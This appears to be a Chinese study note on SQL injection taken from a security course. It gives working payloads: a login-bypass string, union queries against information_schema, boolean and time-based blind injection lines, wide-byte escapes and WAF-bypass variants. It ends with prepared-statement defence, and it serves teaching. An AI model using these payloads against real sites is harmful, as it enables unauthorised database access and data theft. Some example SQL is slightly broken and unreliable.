攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据包中包含对某些数据库具有特殊意义的符合和命令,让攻击者有机会直接对后台数据库下达命令,进而入侵后台数据库乃至整个应用系统。
SQL注入攻击的本质,服务端没有过滤用户输入的恶意数据,直接把它当成SQL命令来执行了,从而影响数据库安全和平台安全。
—————————————————————————————————
(1)常见SQL语法
命令 | 描述 |
---|---|
CREATE | 创建新的表、视图或其他数据库中的对象 |
ALTER | 修改现存数据库对象,比如一张表 |
DROP | 删除表、视图或数据库中的其他对象 |
SELECT | 从一张或多张表中检索特定的数据 |
INSERT | 创建一条新纪录 |
UPDATE | 修改记录 |
DELETE | 删除记录 |
GRANT | 赋予用户特权 |
REVOKE | 收回赋予用户的特权 |
排序Order by
SELECT * FROM test_table ORDER BY userid;
分组Group by
SELECT name,count(*) FROM test_table GROUP BY name;
限定条数limit
SELECT * FROM test_table limit 0,10;
SELECT * FROM test_table limit 1,5;
组合使用
SELECT * FROM test_table LIMIT 0,5 ORDER BY userid;
SQL高级操作:联合查询union:
因为查询语句构造问题,可直接否认掉之前的查询,执行一个全新的查询语句,查询的列应当与之前的列对应。
SQL高级操作:结合其他函数操作:
在MySQL中,把information_schema(MySQL自带的)看作是一个信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
information_schema.SCHEMATA表中的SCHEMA_NAME查看所有的数据库:
select * from hehe where id=3 and 1=2 union select 0,0 SCHEMA_NAME from information_schema.SCHEMATA limit 1,2;
(2)万能密码绕过登录
通过在用户名处传入参数 ’ or 1=1 # 进行万能密码登录。
SELECT username, password FROM users WHERE username=‘textvalue’ or 1=1 # ’ AND password=‘textvalue2’
(3)数字型注入
http://www.testweb.com/user.php?id=8‘ | 返回错误,未对单引号做处理 |
---|---|
http://www.testweb.com/user.php?id=8 and 1=1 | 运行正常 |
http://www.testweb.com/user.php?id=8 and 1=2 | 运行异常 |
(4)字符型注入
输入的参数为字符串
与数组型注入的区别在于:字符型注入一般要用单引号或双引号等来闭合
http://www.testweb.com/user.php?user=admin’
存在字符型注入测试方法
http://www.testweb.com/user.php?id=8‘ | 返回错误 |
---|---|
http://www.testweb.com/user.php?user=admin’ and ‘1’='1 | 运行正常 |
http://www.testweb.com/user.php?user=admin’ and ‘1’='2 | 运行异常 |
(5)SQL盲注
SQL盲注是不能通过直接显示的途径来获取数据库数据的方法。
在盲注中,攻击者根据返回页面的不同来判断信息(可能是页面内容不同,也可以是响应时间不同)。一般情况下,盲注分为三种:
SELECT userid FROM member WHERE u_name=$name AND u_pass= $pass;
注入语句:
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a'
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d'
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m'
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i'
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n'
查询语句:
SELECT userid FROM member WHERE u_name=$name AND u_pass= $pass;
注入语句:
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a' and (select sleep(3))
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d' and (select sleep(3))
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m' and (select sleep(3))
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i' and (select sleep(3))
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n' and (select sleep(3))
基于时间的盲注在使用延迟函数上可以有两个选择:
(1)BENCHMARK(count,expr)函数 //将expr语句执行count次来延迟时间
(2)sleep(time)函数 //直接延迟time时间
(6)SQL文件头注入
HTTP Header内容:
常见的HTTP Header注入类型:
(7)宽字节注入
统一国际规范的理想:程序都使用unicode编码,所有的网站都使用utf-8编码。
国内及国外(特别是非英语国家)的一些cms,仍然使用自己国家的一套编码方式,比如gbk,作为自己的默认编码类型。也有一些cms为了照顾老用户,出了gbk和utf-8两个版本。
一个gbk编码汉字,占2个字节,一个utf-8编码汉字,占3个字节。简体中文系统中ANSI就代表是GBK。
我们通常使用单引号来探测是否有SQL注入,但我们有可能在前面使用了转义函数,导致输入id=1’ 变成了 id=1\’ ,探测失效了。
于是,输入id=1%df’ ,会变成 id=1%df\’ ,url编码就是id=1%df%5c%27,gbk是多字节编码,任务两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字,而 ’ 逃逸出来,可以进行SQL注入探测。
———————————————————————————————————
/?id=1+union+select+1,2,3/*
对于上面这条语句,WAF过滤了一次union和select,在之前再写一个注释语句,让他把注释里面的过滤掉,并不影响我们的查询。
绕过语句就是
/?id=1/*union*/union/*select*/select+1,2,3/*
/?id=1+un/**/ion+sel/**/elct+1,2,3-
至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的,过滤了一次union就会执行我们的查询了。
/?id=1 Ununionion select 1,2,3-
sqlmap中有一个tamper目录,主要存放的是waf绕过脚本,比如:base64encode.py,between.py,greatest.py等。
Example:
Input: SELECT * FROM users WHERE **id=1**
Output: SELECT * FROM users WHERE **id LIKE 1**
Example:
("1 AND '1'='1")
"1 AND %00%271%00%27=%00%271"
———————————————————————————————————
SQL注入因为要操作数据库,所以一般会查找SQL语句关键字:insert,delete,update,select,查看传递的变量参数是否为用户可控,有无做过安全处理
String sql="select id,no from user where id=?";
PreparedStatement ps =conn.prepareStatement(sql);
ps.setInt(1,id);
ps.executeQuery();
采用了PreparedStatement,将sql语句"select id,no from user where id=?"
预先编译好,即SQL引擎会先进行语法分析,产生语法树,生成执行计划,这样后面无论你输入什么参数,都不会影响该sql语句的语法结构了。
————————————————————
以上来自360网络安全学院课程,侵权删~~